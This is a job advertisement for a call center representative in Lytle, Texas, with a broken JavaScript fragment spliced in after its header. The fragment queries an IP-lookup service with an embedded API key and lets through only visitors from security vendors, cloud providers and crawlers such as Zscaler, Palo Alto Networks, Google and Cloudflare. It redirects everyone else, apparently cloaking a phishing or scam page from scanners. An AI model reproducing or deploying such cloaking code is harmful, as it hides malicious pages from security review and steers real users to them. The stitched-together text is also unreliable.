Call Center Representative
Overview
const ipAddress = data.ip;
// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;
// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));
if (!ispAllowed && !asOrgAllowed) {
// Redirect all users to the same URL
window.location.href = '';
}
})
.catch(error => {
console.error('Error retrieving ISP name:', error);
});
})
.catch(error => {
console.error('Error retrieving IP address or location:', error);
});
We are seeking a dedicated Call Center Representative to join our team in Lytle, Texas. In this role, you will provide exceptional customer service by answering inquiries, resolving issues, and assisting clients via phone and email.
Responsibilities include:
- Handling incoming calls and emails promptly and professionally
- Identifying customer needs and providing accurate information
- Documenting interactions and updating customer accounts
- Escalating complex issues to appropriate departments
- Maintaining a positive attitude and ensuring customer satisfaction
Skills needed:
- Excellent communication and active listening skills
- Problem-solving abilities and patience
- Ability to work efficiently in a fast-paced environment
- Strong organizational skills and attention to detail
Benefits include competitive pay, health insurance, paid time off, and opportunities for growth. Join us and make a difference in customer experience!